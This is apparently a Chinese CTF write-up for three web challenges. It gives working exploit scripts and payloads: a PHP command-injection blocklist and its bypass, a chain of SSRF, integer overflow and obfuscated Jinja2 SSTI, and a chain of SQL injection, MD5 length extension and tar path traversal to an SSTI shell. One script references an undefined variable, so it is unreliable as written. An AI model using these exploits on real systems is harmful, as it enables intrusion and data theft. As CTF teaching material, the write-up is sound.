拯救芙莉莲

dirsearch扫到robots.txt,发现<(´⌯ ̫⌯`)>.php

看报错是文件包含

伪协议读一下源码:?file=php://filter/convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php

关键代码如下:

<?php
        if (isset($_GET['spell'])) {
            echo '<div class="error-box">';
            echo '<h2>🔮 解开宝箱怪的封印</h2>';
            echo '<pre>';
            echo "芙芙: \"这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开...\"\n";
            echo "芙芙: \"我记得封印的关键在根目录的某个文件里...\"\n";
            echo "芙芙: \"但是宝箱怪的魔法屏障会拒绝某些危险的咒语!\"\n";
            echo "芙芙: \"也许你可以用 Linux 命令来读取那个文件?\"\n";

            $spell = $_GET['spell'];
            echo "你的咒语: " . htmlspecialchars($spell) . "\n";
            
            $forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
            foreach ($forbidden as $bad) {
                if (stripos($spell, $bad) !== false) {
                    die("⚠️ 检测到禁忌的黑魔法!\n芙芙: \"宝箱怪拒绝了这个咒语...\"\n</pre></div></body></html>");
                }
            }
            
            if (stripos($spell, 'flag') !== false) {
                die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
            }
            
            $blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
            foreach ($blocked_commands as $cmd) {
                if (stripos($spell, $cmd) !== false) {
                    die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
                }
            }
            echo "施法中...\n";
            echo "━━━━━━━━━━━━━━━━━━━━\n";
            
            $result = shell_exec($spell);
            
            if ($result) {
                echo "✨ 封印解除了!宝箱怪消失了!\n\n";
                echo "【施法结果】:\n";
                echo $result;
                echo "\n━━━━━━━━━━━━━━━━━━━━\n";
                echo "芙芙: \"太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~\"\n";
            } else {
                echo "❌ 咒语似乎没有效果...\n";
                echo "芙芙: \"也许需要调整一下咒语的内容?\"\n";
            }
            
            echo '</pre>';
            echo '</div>';
        }
        ?>

漏洞点:

$result = shell_exec($spell);

尝试cat,传入:

?spell=cat /flag,发现被waf,简单绕过后,payload如下:

?spell=c''at%20/f*

cybers

这里先给出脚本:

import requests
import re
from urllib.parse import quote_plus
import html

TARGET_GATEWAY = "http://45.40.247.139:19944"
INTERNAL_PORT = 5000

def send_data(packet):
    payload = {"port": INTERNAL_PORT, "data": packet}
    response = requests.post(f"{TARGET_GATEWAY}/relay", data=payload)
    return response.text

def execute_attack():
    print("[*] Stage 1: Session Acquisition")
    handshake = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"
    raw_init = send_data(handshake)
    auth_token = re.findall(r"session=([a-zA-Z0-9._-]+)", raw_init)[0]

    print("[*] Stage 2: Integer Overflow Bypass")
    exploit_val = -9223372036854775808
    hack_call = (
        f"GET /hack?amount={exploit_val} HTTP/1.1\r\n"
        "Host: 127.0.0.1\r\n"
        f"Cookie: session={auth_token}\r\n"
        "Connection: close\r\n\r\n"
    )
    raw_hack = send_data(hack_call)
    auth_token = re.findall(r"session=([a-zA-Z0-9._-]+)", raw_hack)[0]

    template_inj = "{% set sp=dict(s=1,p=1,l=1,i=1,t=1)|join %}{% set ge=dict(g=1,e=1,n=1)|join %}{% set er=dict(e=1,r=1)|join %}{% set ate=dict(a=1,t=1,e=1)|join %}{% set gg=ge+er+ate %}{% set u=(((lipsum|string)|attr(sp)(gg))|last)|first %}{% set gl=dict(g=1,l=1,o=1,b=1,a=1)|join + dict(l=1,s=1)|join %}{% set gs=u+u+gl+u+u %}{% set gt=dict(g=1,e=1,t=1)|join %}{% set lp=lipsum(1,html=true)|string %}{% set lt=(lipsum|string)|first %}{% set sl=((lp|attr(sp)(lt)|last)|first) %}{% set po=dict(p=1,o=1)|join %}{% set pen=dict(p=1,e=1,n=1)|join %}{% set pp=po+pen %}{% set rd=dict(r=1,e=1,a=1,d=1)|join %}{% set oo=dict(o=1,s=1)|join %}{% set om=(lipsum|attr(gs))|attr(gt)(oo) %}{% set spc=(((g|string)|attr(sp)(dict(g=1)|join))|last)|first %}{% set mn=((dict(a=1)|count-dict(a=1)|count-dict(a=1)|count)|string)|first %}{% set usr=dict(u=1,s=1,r=1)|join %}{% set bin=dict(b=1,i=1,n=1)|join %}{% set tar=dict(t=1,a=1,r=1)|join %}{% set cf=dict(c=1,f=1)|join %}{% set fg=dict(f=1,l=1,a=1,g=1)|join %}{% set cmd=sl+usr+sl+bin+sl+tar+spc+mn+cf+spc+mn+spc+sl+fg %}{% set ph=om|attr(pp)(cmd) %}{% print(ph|attr(rd)()) %}"
    
    encoded_body = f"fragment={quote_plus(template_inj)}"
    
    final_packet = (
        "POST /market?cmd=cat%20/flag HTTP/1.1\r\n"
        "Host: 127.0.0.1\r\n"
        f"Cookie: session={auth_token}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(encoded_body)}\r\n"
        "Connection: close\r\n\r\n"
        f"{encoded_body}"
    )
    
    print("[*] Stage 3: Payload Delivery")
    output = send_data(final_packet)
    
    print("\n--- Output Buffer ---")
    data_block = re.search(r"<h3>Fragment '(.*?)' not found", output, re.DOTALL)
    
    if data_block:
        print(html.unescape(data_block.group(1)))
    else:
        print(output)

    captured = re.findall(r'(flag\{.*?\}|DASCTF\{.*?\}|FLAG\{.*?\})', output, re.IGNORECASE)
    if captured:
        print(f"\n[!] Flag Detected: {captured[0]}")

if __name__ == "__main__":
    execute_attack()

我们来看看这个脚本是怎么工作的:

首先定义send_data函数,利用靶机的/relay路由向内网进行数据转发

其次,因为后面的价格更改操作都需要token,我们需要利用SSRF,利用/relay访问/initialize路由,获取token

然后就是更改价格了,利用整数溢出(这里是-9223372036854775808,即64 位带符号整数的最小值)使得余额变成一个巨大的正数,从而满足ssti的前置要求

接着就是这题最核心的绕过了:动态字符串构造

题目ban了很多,常见的危险函数、全角绕过等等方法都走不通,只能尝试用dict键去构造,例如:

dict(o=1,s=1)|join 在进行构造时,jinjia2会构造出一个字典:{"o":1,"s":1}后面的join会把把可迭代对象里的元素拼成字符串(字典在迭代时,默认迭代的是“键”),这样就构造了os

我们看到payload最后:{% set ph=om|attr(pp)(cmd) %}

om 前面已经被构造成 os,pp 前面被构造成 popen,==attr(pp) 就是动态取属性==,相当于 .popen

所以这一句等价理解为:

ph = os.popen(cmd)

下面就是动态取ph的read属性以获取输出

{% print(ph|attr(rd)()) %}

Fisafopil

还是先给出脚本:

import requests, binascii, struct, math, re, tarfile, io, time, random, string

ENDPOINT = "http://45.40.247.139:26066"

def bit_rotate(v, s):
    return ((v << s) | (v >> (32 - s))) & 0xFFFFFFFF

CONST_K = [int(math.floor(abs(math.sin(idx + 1)) * (2 ** 32))) for idx in range(64)]
CONST_S = [7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4

def md5_step(iv, chunk):
    a, b, c, d = iv
    w = list(struct.unpack("<16I", chunk))
    aa, bb, cc, dd = a, b, c, d
    for j in range(64):
        if j < 16:
            func = (bb & cc) | ((~bb) & 0xFFFFFFFF & dd)
            pos = j
        elif j < 32:
            func = (dd & bb) | (cc & ((~dd) & 0xFFFFFFFF))
            pos = (5 * j + 1) % 16
        elif j < 48:
            func = bb ^ cc ^ dd
            pos = (3 * j + 5) % 16
        else:
            func = cc ^ (bb | ((~dd) & 0xFFFFFFFF))
            pos = (7 * j) % 16
        res = (func + aa + CONST_K[j] + w[pos]) & 0xFFFFFFFF
        aa = dd
        dd = cc
        cc = bb
        bb = (bb + bit_rotate(res, CONST_S[j])) & 0xFFFFFFFF
    return ((a + aa) & 0xFFFFFFFF, (b + bb) & 0xFFFFFFFF, (c + cc) & 0xFFFFFFFF, (d + dd) & 0xFFFFFFFF)

def generate_pad(size):
    return b"\x80" + b"\x00" * ((55 - size) % 64) + struct.pack("<Q", size * 8)

def compute_from_state(h_state, stream):
    x, y, z, w = h_state
    for k in range(0, len(stream), 64):
        x, y, z, w = md5_step((x, y, z, w), stream[k : k + 64])
    return struct.pack("<4I", x, y, z, w).hex()

def attack_md5(initial_h, orig_len, suffix):
    ctx = struct.unpack("<4I", bytes.fromhex(initial_h))
    gap = generate_pad(orig_len)
    total_len = orig_len + len(gap) + len(suffix)
    return compute_from_state(ctx, suffix + generate_pad(total_len)), gap + suffix

def run_pwn():
    cli = requests.Session()
    cli.timeout = 20
    
    pass_raw = b"secret_pass"
    user_id = "vortex_" + "".join(random.choices(string.ascii_lowercase, k=5))
    u_hex = binascii.hexlify(user_id.encode()).decode()
    p_hex = binascii.hexlify(pass_raw).decode()
    
    cli.post(f"{TARGET}/register", json={
        "username": u_hex, "password": p_hex, "employee_number": "EMP_99",
        "email": "dev@null.org", "phone_number": "00000000",
        "first_name": "Alpha", "last_name": "Omega",
        "date_of_birth": "1990-10-10", "address": "Void"
    })
    
    cli.post(f"{TARGET}/login", data={"username": u_hex, "password": p_hex})
    
    injection = f"'; UPDATE users SET email=(SELECT password FROM users WHERE username='{user_id}') WHERE username='{user_id}'; --"
    cli.post(f"{TARGET}/edit-profile", params={
        "employee_number": "EMP_99", "email": "a@b.com" + injection,
        "phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
        "date_of_birth": "1990-10-10", "address": "Void"
    })
    
    profile = cli.get(f"{TARGET}/info").text
    h_leak = re.search(r'([a-f\d]{32})', profile.split('邮箱')[1]).group(1)
    
    forged_h, forged_payload = attack_md5(h_leak, 16 + len(pass_raw), b"_privesc")
    payload_pass = pass_raw + forged_payload
    
    update_admin = f"'; UPDATE users SET password='{forged_h}' WHERE username='admin'; --"
    cli.post(f"{TARGET}/edit-profile", params={
        "employee_number": "EMP_99", "email": "x@y.com" + update_admin,
        "phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
        "date_of_birth": "1990-10-10", "address": "Void"
    })
    
    root = requests.Session()
    root.post(f"{TARGET}/login", data={
        "username": binascii.hexlify(b"admin").decode(),
        "password": payload_pass.hex()
    }, allow_redirects=False)
    
    shell = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read() }}'
    mem = io.BytesIO()
    with tarfile.open(fileobj=mem, mode="w") as arch:
        t_meta = tarfile.TarInfo(name="../templates/info.html")
        data = f"<html><body>{shell}</body></html>".encode()
        t_meta.size = len(data)
        arch.addfile(t_meta, io.BytesIO(data))
    
    mem.seek(0)
    root.post(f"{TARGET}/admin/restore", files={"restore_file": ("patch.tar", mem, "application/x-tar")})
    
    time.sleep(2)
    print(root.get(f"{TARGET}/info").text)

if __name__ == "__main__":
    run_pwn()

这道题的漏洞主要有两个:首先是密码存在哈希长度拓展攻击,其次是email处存在sql注入

依旧是先看主要函数run_pwn():
首先注册普通用户:

cli.post(f"{TARGET}/register", json={
        "username": u_hex, "password": p_hex, "employee_number": "EMP_99",
        "email": "dev@null.org", "phone_number": "00000000",
        "first_name": "Alpha", "last_name": "Omega",
        "date_of_birth": "1990-10-10", "address": "Void"
    })
    
    cli.post(f"{TARGET}/login", data={"username": u_hex, "password": p_hex})

拿到密码,然后去登录(因为email处存在sql注入,我们可以查出我们刚刚注册的账户对应密码哈希):

cli.post(f"{TARGET}/login", data={"username": u_hex, "password": p_hex})
    
    injection = f"'; UPDATE users SET email=(SELECT password FROM users WHERE username='{user_id}') WHERE username='{user_id}'; --"
    cli.post(f"{TARGET}/edit-profile", params={
        "employee_number": "EMP_99", "email": "a@b.com" + injection,
        "phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
        "date_of_birth": "1990-10-10", "address": "Void"
    })

然后就是去打哈希函数拓展攻击了(可以使用hashdump,脚本是用md5_step函数实现拓展攻击的效果):

我们来推测一下服务端的逻辑:

md5(secret_key || "input")

我们的输入input可控,但是服务端的secret_key我们不知道,即使我们能改数据库中admin的密码,不知道加密逻辑的情况下,我们的输入就不确定(那这个问题实际上就变成了逆向md5的问题,这是不可能的)所以这时候我们就要利用到哈希长度拓展攻击

必须已知的条件:密码、key长度(长度为16,附件给了)、密码对应哈希

我们先前注册的密钥和sql读出来的对应哈希这时候就排上用场了,利用工具我们就能得出对应的输入和输出(下图仅为示例):

哈希长度拓展攻击的具体原理可以去看这位师傅的文章:https://www.cnblogs.com/yunen/p/13624595.html

其实这里可以将admin的密码哈希值改成你注册密码的哈希值,因为注册时记录了密码,但是可能源码对这里做了限制吧(没有附件忘记了,(⊙﹏⊙))

其实这题有个很大的坑点(至少把我坑了):当发现sql注入后,直接尝试查表查字段,我搁那数据库翻了半天都没找到flag

正确的做法是登录后利用/admin/restore路由打tar恶意文件和目录穿越

 shell = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read() }}'
    mem = io.BytesIO()
    with tarfile.open(fileobj=mem, mode="w") as arch:
        t_meta = tarfile.TarInfo(name="../templates/info.html")
        data = f"<html><body>{shell}</body></html>".encode()
        t_meta.size = len(data)
        arch.addfile(t_meta, io.BytesIO(data))
    
    mem.seek(0)
    root.post(f"{TARGET}/admin/restore", files={"restore_file": ("patch.tar", mem, "application/x-tar")})
    
    time.sleep(2)
    print(root.get(f"{TARGET}/info").text)

利用目录穿越将含有恶意ssti模板注入的tar压缩包通过/admin/restore接口经服务器解压后落地到/info路由,替换info.html被jinjia2渲染,实现ssti注入的绕过与回显

值得注意有以下几点:

mem = io.BytesIO()是为了在内存中构建文件,而不是在磁盘中创建文件

addfile(tarinfo, fileobj)允许将一个文件头信息对象(t_meta) 和一个文件内容流 (io.BytesIO(data)) 组合起来写入压缩包

必须手动设置size:TAR 格式要求在文件头中明确声明后续数据流的长度